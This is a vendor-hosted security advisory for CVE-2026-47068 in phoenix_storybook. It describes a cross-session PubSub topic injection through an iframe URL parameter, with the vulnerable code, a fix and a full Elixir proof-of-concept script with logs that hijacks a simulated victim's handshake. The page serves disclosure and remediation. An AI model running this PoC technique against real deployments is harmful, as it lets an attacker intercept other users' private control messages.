CVE-2026-47068

CVE-2026-47068 is a low-severity security vulnerability in phoenix_storybook (erlang), affecting versions >= 0.4.0, < 1.1.0. It is fixed in 1.1.0.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

PhoenixStorybook has cross-session PubSub topic injection via URL parameter

The storybook iframe LiveView accepts a PubSub topic from the URL query string and broadcasts its own pid onto that topic with no check that the topic belongs to the current session. Any unauthenticated visitor who knows or guesses another user's playground topic can hijack the playground↔iframe handshake, causing the victim's playground to send its control messages to an attacker-controlled iframe process, a cross-session information leak.

Likely introduced in https://github.com/phenixdigital/phoenix_storybook/commit/8c2c97b0f505780fee4069988bf86736f51d35d7

Details

PhoenixStorybook.Story.ComponentIframeLive.handle_params/3 (lib/phoenix_storybook/live/story/component_iframe_live.ex:24-30) takes the topic straight from params["topic"] and broadcasts on it:

if topic = params["topic"] do
  Phoenix.PubSub.broadcast!(
    PhoenixStorybook.PubSub, topic, {:component_iframe_pid, self()}
  )
end

The shared PhoenixStorybook.PubSub is used to coordinate playground LiveViews with their iframes: a playground subscribes to a topic, learns the iframe's pid from the {:component_iframe_pid, _} message, and then uses send/2 to deliver subsequent state and control messages (variation state, theme switches, extra-assign payloads, etc.) directly to that pid.

Because the iframe trusts the query parameter, an attacker who loads /storybook/iframe/<story>?topic=<victim_topic> in their own browser causes their iframe process's pid to be announced on the victim's private topic. The victim's playground then addresses its private messages to the attacker's iframe, where they arrive in handle_info/2. There is no authentication, ownership check, or binding between the topic and the requesting session.

The fix is to stop accepting the topic from the query string, derive it server-side from the LiveView session (or pass the playground pid via a signed session) and refuse to broadcast on any topic the current session does not own. Alternatively, nest the iframe LiveView under the playground so its pid is known directly and the broadcast-based discovery is removed.

PoC

The attached script reproduces the leak end-to-end against a real Phoenix endpoint mounting the library's own router via live_storybook("/storybook", backend_module: MyStorybook). The threat model is an outside attacker who can reach the storybook iframe URL; the only entry point used is a plain HTTP GET /storybook/iframe/<story>?topic=<victim_topic>, which mounts ComponentIframeLive and triggers the vulnerable handle_params/3 call site shown above.

To simulate a legitimate playground, the script spawns a "victim" process that calls Phoenix.PubSub.subscribe(PhoenixStorybook.PubSub, victim_topic) with a freshly generated secret topic. The attacker session, completely separate, with no shared cookies or auth, then issues a single Req.get! to the iframe URL with ?topic=<victim_topic> URL-encoded onto the query string. Inside the iframe LiveView, params["topic"] is the attacker-supplied value, and Phoenix.PubSub.broadcast!/3 delivers {:component_iframe_pid, self()} to the victim's subscription. No authentication or token is needed; the only precondition is knowing (or guessing) the victim's topic.

The victim process pattern-matches on {:component_iframe_pid, attacker_iframe_pid} and forwards it to the test harness. The script prints VERIFIED: attacker-controlled "?topic=" query param caused PubSub broadcast onto victim's private topic along with the leaked pid when the cross-session message arrives, and NOT VERIFIED if nothing arrives within the timeout. The full script is attached below under "Scripts and Logs".

Scripts and Logs

# Verifies: Cross-session PubSub topic injection via URL parameter
#
# Run: elixir cross_session_pubsub_topic_injection_via_url_parameter_1352.exs
#
# Threat model: an outside attacker who can browse the storybook iframe URL.
# They open `/storybook/iframe/<story>?topic=<victim_topic>` in their own
# browser. The iframe LiveView's handle_params broadcasts
# `{:component_iframe_pid, self()}` on whatever topic the attacker put in the
# query string. A victim's playground that subscribed to `victim_topic`
# (legitimately, for its own iframe) receives the attacker's iframe pid and
# will subsequently address its private control messages to that pid.
#
# This PoC stands up a real Phoenix endpoint + the library's own router, has a
# "victim" process Phoenix.PubSub.subscribe to a secret topic, then makes a
# plain HTTP GET to the iframe URL with `?topic=<secret>` from an attacker
# session. If the victim receives the iframe pid, the topic was successfully
# hijacked.

Mix.install([
  {:phoenix_storybook, "1.0.0"},
  {:phoenix_live_view, "~> 1.0"},
  {:bandit, "~> 1.5"},
  {:req, "~> 0.5"},
  {:jason, "~> 1.4"}
])

# ----- 1. Minimum on-disk story so the iframe LV actually mounts. -----
tmp = Path.join(System.tmp_dir!(), "psb_poc_#{System.unique_integer([:positive])}")
File.mkdir_p!(tmp)

File.write!(Path.join(tmp, "demo.story.exs"), """
defmodule Storybook.Demo do
  use PhoenixStorybook.Story, :component
  def function, do: &Phoenix.Component.link/1
  def variations do
    [%Variation{id: :default, attributes: %{navigate: "/x"}, slots: ["hi"]}]
  end
end
""")

# ----- 2. Storybook backend + Phoenix endpoint/router. -----
expanded_content_path = Path.expand(tmp)

Module.create(
  MyStorybook,
  quote do
    use PhoenixStorybook, otp_app: :psb_poc, content_path: unquote(expanded_content_path)
  end,
  Macro.Env.location(__ENV__)
)

defmodule MyRouter do
  use Phoenix.Router
  import Phoenix.LiveView.Router
  import PhoenixStorybook.Router

  scope "/" do
    live_storybook("/storybook", backend_module: MyStorybook)
  end
end

poc_port = Enum.random(20_000..30_000)

Application.put_env(:psb_poc, MyEndpoint,
  http: [ip: {127, 0, 0, 1}, port: poc_port],
  server: true,
  secret_key_base: String.duplicate("a", 64),
  live_view: [signing_salt: "12345678"],
  pubsub_server: PhoenixStorybook.PubSub,
  adapter: Bandit.PhoenixAdapter,
  check_origin: false
)

defmodule MyEndpoint do
  use Phoenix.Endpoint, otp_app: :psb_poc

  @session_options [
    store: :cookie,
    key: "_psb_poc_key",
    signing_salt: "12345678",
    same_site: "Lax"
  ]

  socket "/live", Phoenix.LiveView.Socket, websocket: true
  plug Plug.Session, @session_options
  plug :fetch_query_params_plug
  plug MyRouter

  def fetch_query_params_plug(conn, _opts), do: Plug.Conn.fetch_query_params(conn)
end

# ----- 3. Boot endpoint (PhoenixStorybook.PubSub is started by the lib app). -----
{:ok, _} = MyEndpoint.start_link()

base = "http://127.0.0.1:#{poc_port}"

# ----- 4. Victim subscribes to its private playground topic. -----
victim_topic = "playground-secret-#{:erlang.unique_integer([:positive])}"
victim = self()

# A separate process plays the role of the victim's playground LV. It
# subscribes to its own topic, exactly what PlaygroundLive does when the
# legitimate user opens their playground page.
victim_pid =
  spawn_link(fn ->
    :ok = Phoenix.PubSub.subscribe(PhoenixStorybook.PubSub, victim_topic)
    send(victim, :victim_ready)

    receive do
      {:component_iframe_pid, attacker_iframe_pid} ->
        send(victim, {:victim_got, attacker_iframe_pid})
    after
      5_000 -> send(victim, :victim_timeout)
    end
  end)

receive do
  :victim_ready -> :ok
after
  2_000 -> raise "victim subscribe timed out"
end

# ----- 5. Attacker, in a completely unrelated session, hits the iframe URL
#         with ?topic=<victim's secret topic>. -----
attacker_url =
  base <>
    "/storybook/iframe/demo?topic=" <> URI.encode_www_form(victim_topic)

_resp = Req.get!(attacker_url, retry: false)

# ----- 6. Observe the cross-session leak. -----
outcome =
  receive do
    {:victim_got, leaked_pid} -> {:leaked, leaked_pid}
    :victim_timeout -> :no_leak
  after
    6_000 -> :no_leak
  end

# ----- 7. Tear down. -----
:ok = Supervisor.stop(MyEndpoint, :normal)
File.rm_rf!(tmp)
if Process.alive?(victim_pid), do: Process.exit(victim_pid, :kill)

case outcome do
  {:leaked, pid} ->
    IO.puts("Victim received iframe pid: #{inspect(pid)}")
    IO.puts("Victim's topic was: #{victim_topic} (never shared with attacker session)")
    IO.puts("Attacker only needed to know/guess that topic to hijack the pid handshake.")
    IO.puts("VERIFIED: attacker-controlled `?topic=` query param caused PubSub broadcast onto victim's private topic")

  :no_leak ->
    IO.puts("NOT VERIFIED: no cross-session message observed within timeout")
end

Logs

11:56:17.598 [warning] Can't resolve priv dir for application psb_poc

11:56:17.750 [info] Running MyEndpoint with Bandit 1.11.1 at 127.0.0.1:26466 (http)

11:56:17.750 [info] Access MyEndpoint at http://localhost:26466

11:56:17.790 [debug] Processing with PhoenixStorybook.Story.ComponentIframeLive.__live__/0
  Parameters: %{"story" => ["demo"], "topic" => "playground-secret-8"}
  Pipelines: [:storybook_browser]
Victim received iframe pid: #PID<0.598.0>
Victim's topic was: playground-secret-8 (never shared with attacker session)
Attacker only needed to know/guess that topic to hijack the pid handshake.
VERIFIED: attacker-controlled `?topic=` query param caused PubSub broadcast onto victim's private topic

Impact

Cross-session information disclosure and message injection in any application that exposes phoenix_storybook over an HTTP boundary. Any unauthenticated user who can reach the iframe route and learn or guess a playground's topic can redirect the playground's private control messages, variation state, theme changes, and any developer-wired extra assigns, to an iframe process they control. There is no auth check on the broadcast, so the only precondition is reachability of the iframe URL plus knowledge of a target topic.

Affected versions

phoenix_storybook (>= 0.4.0, < 1.1.0)

Security releases

phoenix_storybook → 1.1.0 (erlang)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade phoenix_storybook to 1.1.0 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-47068? CVE-2026-47068 is a low-severity security vulnerability in phoenix_storybook (erlang), affecting versions >= 0.4.0, < 1.1.0. It is fixed in 1.1.0.
  2. Which versions of phoenix_storybook are affected by CVE-2026-47068? phoenix_storybook (erlang) versions >= 0.4.0, < 1.1.0 is affected.
  3. Is there a fix for CVE-2026-47068? Yes. CVE-2026-47068 is fixed in 1.1.0. Upgrade to this version or later.
  4. Is CVE-2026-47068 exploitable, and should I be worried? Whether CVE-2026-47068 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  5. What actually determines whether CVE-2026-47068 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  6. How do I fix CVE-2026-47068? Upgrade phoenix_storybook to 1.1.0 or later.

Other vulnerabilities in phoenix_storybook

Stop the waste.
Protect your environment with Kodem.